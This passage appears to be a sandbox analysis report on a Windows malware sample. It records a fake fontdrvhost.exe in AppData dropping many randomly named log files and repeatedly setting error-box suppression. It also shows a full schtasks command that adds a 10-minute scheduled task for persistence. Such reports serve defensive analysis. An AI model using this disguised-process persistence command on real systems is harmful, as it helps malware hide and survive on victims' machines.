Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\dabMNWxu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MTLhtkSf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CkrRJHNx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ldamqVhj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ZklVGaxA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IdUqmnRm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\inkviYhq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XzFFzMmI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\GspafaHt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\maCuLVwe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\UOaorzbP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JavyIngh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\BxnIYuRz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ifAdEpGk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zldaSYtH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hRSCUTxn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YnJNkaiG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xOrrZDRn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\SdGfOIqy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JAxqeOaQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zReaumVj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\qiKKKJQB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\iKNvbzqU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ZbufrXkm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\GPSaXBQY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xgyKnYKq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\msUTDNPI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MHvzAhUM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CTQIQVae.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kMzdwiuP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aYVnMXzh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\QpCXcuuA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\GGiHtSpS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ouGCZwUD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fLnmpTPV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OEWHVhjH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DQsQlVoZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\mJblSiJK.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WAZwZzli.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aFyNQRuY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\SbqYhYfr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IsWIxvZJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\qguCdZEu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YUSxJEkf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\NgoGZspx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TYRgCYum.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sihlzJJp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\iANVPgEI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YMjefUJa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WgOpYqoh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KnZYovDz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\lCADkPID.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\QfCxRbIn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rudcNvNr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WYfWtHNc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ELDRalsN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rmtKjMmm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\iJlVzTXF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YVGePHcW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\HlvZPcYC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\bAJNFhyM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TWBYVoif.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RMfXVWDe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\AFOsBjYP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zzDSBAiP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hsmnhNDB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XEIwxBIS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\wOXBumXW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\eCwwaQCH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TORFqFIZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JfyqGcCs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sYhLnqXd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ikDUDecv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YBjETBXN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\HuSZzPsz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\piqUgtXk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fzXEwQRC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ULtOMFWU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DEcjsSrF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sQxsIGwX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aABfDneW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ipFMCTyG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RnzHiPIs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\pntLeisv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\VWGgLdif.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\EOpBrqDR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\mCNvXUiC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TlbPEPXm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zTojkKNX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ZtZwWUdP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OemrfNDp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\FvSbvlyH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uHokLZDZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\LovAYRCw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zuGjoWSN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\inpEUjnz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XzKOkXsR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\HxFJRUCD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\qiEMTywj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fuaVjmBB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OnJqPAWm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JvAHRkKP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\COTaDrJc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\lHCvjEeO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\bYjfzcZg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\QkEpPQey.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IHwzgXOR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rAfUMkjC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OzZYIDTF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\EQFIYaOX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\nJodFojJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\dbVNVLdb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\AaPSReOe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rrvChBIx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hJcmyZDP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\PwAgeDiA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xkYbKhNl.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WuogHSdp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MLVQXpXH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DdBAnNSZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uztLDTCs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kQZvTrxL.log	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
